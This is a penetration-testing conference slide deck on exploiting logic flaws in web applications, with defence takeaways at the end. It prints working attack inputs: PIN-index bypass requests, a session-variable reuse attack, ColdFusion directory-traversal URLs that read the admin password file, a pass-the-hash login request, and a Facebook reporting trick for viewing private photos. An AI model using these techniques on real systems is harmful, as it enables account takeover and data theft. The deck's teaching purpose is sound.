The Art of Exploiting Logical Flaws in Web Apps

Sumit “sid” Siddharth
Richard “deanx” Dean
A GREAT COLLABORATION!

2 competitors working together!

Thanks to:

7Safe, Part of PA Consulting Group
Portcullis Computer Security Limited
About Me...

i. Global Head of Penetration testing

ii. 7Safe– Part of PA Consulting Group

iii. 7 + years in IT Security

iv. Specialist in Application and Database security

v. Speaker at Black Hat, DEF CON, OWASP Appsec etc

and About Me...

i. No snazzy job title

ii. Portcullis CLS

iii. 6 years in IT Security

iv. Enjoys building things up or breaking them down in to first principles

v. Was a Semi-conducting Polymer researcher in a previous life

vi. Co-author of a Cover article from Advanced Materials
Overview

What & Why Logic Flaws?
Some Examples
Where to Look?
What To Look For?
Some More Examples
The Take homes
Other Researchers Work

Trustwave’s Presentation at Appsec 2012:

Anatomy of a Logical Flaw


MDSEC’s presentation:

Beyond OWASP Top 10

http://blog.mdsec.co.uk/2012/04/beyond-owasp-top-10.html
What Is A Logic Flaw?

• A problem where the application does not behave as expected from a given state
• When an expected workflow can be avoided / circumvented
• When a developer has not considered external influences to the current execution path
Why Logic Flaws?

• Very little awareness/mention of them
• Beyond the scope of automated tools
• Requires understanding of the application
• Requires out-of-box thinking
• They are a lot more interesting than most other web application flaws*

* May not be a view held by all of this talks presenters
Key Axiom

“You cannot comprehensively test for logic flaws unless you know what the application is supposed to be doing”
Example

Classic parameter manipulation attacks, the server trusts a client supplied value:

a. Change the price of an item in a shopping basket
b. Change a hidden form value such as “UID”
c. Transfer Negative Funds
Root Causes

• Poor Design
• No thorough documentation of logical flows
• Lack of understanding of technologies used
• Laxed SDLC
• Lack of rigorous testing both security and functional
The First Attack

2 Step Authenticated banking application
Authentication schema

User ID:
Please enter a value.

Password:

Remember my User ID [?]
Warning: Don’t tick this box if you’re using a public or shared computer

- Forgotten your password?
- Forgotten your User ID?
- Having problems logging in?

Continue

Your memorable information

Please enter characters 3, 4 and 6 from your memorable information then click on the continue button.
We’ll never ask you to enter your FULL memorable information.
This login step improves security.

Character 3:  
Character 4:  
Character 6:  

- Having trouble logging in?

Continue

Cancel
Pin Verification

POST /hackme_2.1/index.php?g=get_pin HTTP/1.1
Host: 192.168.2.102:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

pinchar_1=2&pinchar_3=8&pinchar_4=7&submit_me=LOG+ON
Pin Verification

- What happens when authentication fails?

SAME INDICES ASKED AGAIN?
Pin Verification

Same indices asked again?

Yes

Only 3–5 attempts to guess the write PIN

Unless you can do something clever....

No

Account lockout after certain attempts

1000 attempts to brute force

Game Over!
What about the indices?

• If the application does not validate the indices and accepts the user submitted value then....
  – What will be the value for non-existing indices
  – Such as index 7, 8, 9 for a 6 digit PIN
  – Null equals Null...

  – Tip: Often pentesters/scanners focus on parameter value but not parameter!
Null Equals Null

Note: The index value changed from 1, 3 and 4 to 7, 8 and 9
And Bang!

Dear User_01,

We have Special Offer for you!

Apply for Besure Plus and get ready for up to £797 of benefits per month!

- Global travel insurance for you and your family
- Car breakdown assistance 12 hours a day
- ID theft assistance and safety assistance with green24
- Life cover with £100000 benefit
- Many many more benefits!

See now how this amount is calculated!

Special offer: Apply during the Sale and receive Besure Plus for only £26 a month for the first 6 months.
Solution

• It’s a server side piece of knowledge, keep it server side
• Definitely Don’t trust user supplied data
• Remind you of CVE-2004-0627
  – Mysql Auth Bypass
“Attacks on uninitialized local variables”
– Halvar Flake – Black Hat Federal 2006

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    int b;
    printf("%lx", b);
}
```
An Analogy

Local Variable = Session Variable
Function Calls = HTTP Requests

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    int b;
    printf("%lx", b);
}
```
An Analogy

Local Variable = Session Variable
Function Calls = HTTP Requests

Do we control “Local Variables”?
Do we control “Function Calls”?
What can be done?
Simple Messaging App

• After a bit of recognisance the following is found:
  – Normal users can send each other messages
  – Normal users can edit their own profile
  – Admin users can edit other users profiles
User Messaging

First a user is selected from the list.
User Messaging

Target

Host: 192.168.88.22
Port: 80

Request

POST /select_user.php HTTP/1.0
Host: 192.168.88.22
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: FHSHUAM=MS44NjkuM2g0MTg2ND3iusOTQyLjEzMTI4MzIewdM4N2Y
Content-Length: 13

target_uid=22

Type a search term

0 matches
User Messaging

Then the message is composed

Hi John, can you please send me the blueprint we discussed earlier.
Nothing to Play With?

Target

Host: 192.168.88.22
Port: 80

Request

POST /message_send.php HTTP/1.0
Host: 192.168.88.22
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHSHUAM=MS44NjkuMzg0MTg2MD3iusOTQyLjEzMTI4MzIewdM4NzY
Content-Length: 75

message=Hi+John,+can+you+please+send+me+the+blue+print+we+discussed+earlier.
Session Data

• Application did not require the id of user whom the message was sent to in final POST
• This info must be saved session side
• So we can control at least 1 session variable
Session Variable Use

if ( !isset ($_SESSION['target_id'])){
    $target = $_SESSION['target_id'];
    $message = $_POST['message'];
    send_message($target, $message);
// check if session variable exists
} else {
    error("User Not Selected");
// do something else
}
Look Similar?
Even More Interesting

Message User Select

Edit User Select
Exploit

- Visit “User Edit Page”
- Open second window to “User Messaging”
- Select User in Messaging Dialogue + Next
- Blank out one of the required fields on “User Edit Page”
- Hit “Update”
- Page returns with other users info
- Use password recovery to get access to any accounts.
Variable Reuse

if ( !isset($_SESSION['target_id'])){
    update_profile($_SESSION['target_id']);
    // do something
}else {
    update_profile($_SESSION['uid']);
    // do something else
}

Developer has assumed that as the `target_id` is a session variable it cannot be controlled by the user, forgetting that the variable *can* be controlled during the messaging phase.
Where to Look?

• Cracks in the application
  – Places where different dev teams have been used
  – Places where extra functionality has been bolted on
  – Boundaries between frameworks and bespoke code
What to Look For?

• Obviously different coding styles
  – May indicate coding guidelines not followed
• Missing framework elements
  – May indicate framework security is missing
• Complex user journeys
  – More complex more scope for mistakes
• New functionality that is added
• Similarities between different function
Discount Voucher Fun

• Typically common in e-commerce website
• Problem:
  – lack of co-ordination between functional testing and security testing
• General Crack – new functionality added for specific purpose
Discount Voucher Fun

alexisuk  12-10-2010, 8:55 AM
MoneySaving Newbie

Possible £15 Maplin glitch

If you spend more than £39 at Maplin, you can qualify for a free gift. Type in code (in the vouchers board) in the vouchers when you check out. It puts in a remote control plug thing, price £15, then gives you £15 discount. If you then remove the plug, it keeps the discount in place! I only found out by accident, but they have honoured it and I got my order this morning (placed yesterday).

Plus quidco at either 6% or 2.5%, not sure which.

Hope this helps someone 😊

Last edited by alexisuk; 12-10-2010 at 9:09 AM. Reason: didnt realise couldnt post codes here

The Following 15 Users Say Thank You to alexisuk For This Useful Post: Show me >>
Hot DEAL!

Check out the new HotUKDeals App - Download it here!

Free gift with £39 spend....Glitch - gives £15 discount when free gift removed @ maplin

Spotted here on mse


- thanks to alexisuk

Add an item price £39 + to your basket and enter the voucher code ‘freegift’. There's a glitch on the offer of a free gift with a £39 spend, the free gift is a Plug-In Power, Energy & CO2 Meter worth £15 and if you remove it from the basket after the voucher code is applied it still gives you a £15 discount.
Free Gift == Discount?

Goods VAT Rate % VAT
£33.860 17.50 £5.920
£0 (shipping & handling) 17.50 £0.00

TOTAL VAT £5.920
Goods Total (nett) £33.860
SHIPPING & HANDLING £0
VAT (see left) £5.920

Savings -£14.99
SHIPMENT TOTAL £24.79
Free Gift == Discount?

User: tripp_989

Posting: 12-10-2010, 10:39 AM

Message:

thank you so much i have ordered for my son xmas present xx
Facebook Abuse

Another bolt-on functionality problem
Facebook Abuse

• “Locate the person who you want to view photos of”
only shares some information publicly. If you know as a friend or send her a message.
Facebook Abuse

• “Locate the person who you want to view photos of”
• “Click on Report/Block. From the popup menu, select Inappropriate Profile photo and press continue.”
Facebook Abuse

• “Locate the person who you want to view photos of”
• “Click on Report/Block. From the popup menu, select Inappropriate Profile photo and press continue.”
• “Select Nudity or pornography and press continue.”
Facebook Abuse

• “Locate the person who you want to view photos of”
• “Click on Report/Block. From the popup menu, select Inappropriate Profile photo and press continue.”
• “Select Nudity or pornography and press continue.”
• “Only check Report to Facebook and press continue.”
Facebook Abuse

• “Locate the person who you want to view photos of”
• “Click on Report/Block. From the popup menu, select ‘Inappropriate Profile photo’ and press continue.”
• “Select ‘Nudity or pornography’ and press continue.”
• “Only check ‘Report to Facebook’ and press continue.”
• “Only select ‘Help us take action by selecting additional photos to include with your report’ and press Okay.”
Understand Your Tech
Authentication Hashes

• Typically, the clear text password and username are submitted to server
• Server creates a hash (often salted hash) and then compare the hash stored in back-end
• If hash is correct, authentication is successful.
Authentication Hashes

• CVE 2010–2861

• Reference:
Pwning Coldfusion
Directory Traversal

• Bad
  – http://server/CFIDE/administrator/enter.cfm?locale=../../../../../boot.ini%00en

• Worse
  – http://server/CFIDE/administrator/enter.cfm?locale=../../../../../ColdFusion8/lib/password.properties%00en
password.properties file
Unsalted SHA1 Hash

• Good security practice?
  – Not too bad, could have been better with salt?

• Only if you understand the salting
Authentication Request
CF Authentication

• The javascript running on webpage will automatically converts password into SHA1 hash and then use a salt to create a HMAC
• The HMAC and salt are sent to server
• Server computes HMAC based on password hash stored at back-end and salt value received
• If the 2 HMAC are same, authentication is successful
• Grrrrr! #FAIL
Generating HMAC

- We can use the same javascript function to create HMAC from password hash (without needing the password)

  javascript:hex_hmac_sha1($salt, $password)
Generating HMAC

```javascript
hex_hmac_sha1(document.loginform.salt.value, document.loginform.cfadminPassword.value)
```
Generated HMAC
Modifying the request

```plaintext
POST /CFIDE/administrator/enter.cfm HTTP/1.1
Host: 10.10.10.10:8500
Connection: keep-alive
Content-Length: 141
Cache-Control: max-age=0
Origin: http://10.10.10.110:8500
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://10.10.10.110:8500/CFIDE/administrator/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=9; CFTOKEN=49556081

:adminPassword=52A849575CA23C2E55EE77E40243E496F39DFD4&requestedURL=%2FCFIDE%2FAdministrator%2Findex.cfm
```
All your CFMs belong...
Root Cause

• Bad Design?
• Lack of understanding of principles why and how salted hashes are used
A GWT Aside

• What is Google Web Toolkit?
  – A way of writing a javascript front end in java
  – Converts java to javascript
  – Can produce fat clients
  – Uses a text based message format
5|0| // protocol version and flags
7| // string table length
http://localhost:8080/testproject/|
29F4EA1240F157649C12466F01F46F60|
com.test.client.GreetingService|
greetServer|
java.lang.String| // data type
myInput1| // user input
myInput2|
1|2|3|4|2|5|5|6|7| // payload
Fat Clients Problems

• More processing happens on client
• More “security” decisions are made
• Tendency to work on client side security model
• Client side security model
• Client contained all the code to access “Admin” functionality
• Client asked server which functions it could access
• We can therefore lie to the client
s/OK.0,..,0,7]/OK[1,[],0,7]/
~Admin Access

• We now have admin access, but not to all functionality

• Shows inconsistent security controls
So what can we do?

• Is there any interesting functionality?
• Data export to “local” location
• Original folder was
  – `c:\data\export\`
Windows Integration

• We can control the export path
• We can use a UNC path
• No Local egress firewall
• No Hosting environment egress firewall
• Ended up with a complete copy of database, inc.
  – Login details
  – All client data
  – Other companies client data
Take Homes – Attack

• You can’t test properly logic flaws until you know what is supposed to happen
• Take inspiration from bugs found in non web applications
• Look for the cracks in applications
• Tools can help but it’s hard graft and a little flair that wins
Take Homes – Defence

• Make sure your security Team know the intended functionality
• Use frameworks consistently
• Take care when integrating new functionality
• Make sure you understand technologies being used
• Use a Good SDLC integrating Pen Testing at key stages not just the end
Questions?

sid@pentest.7safe.com
rid@portcullis-security.com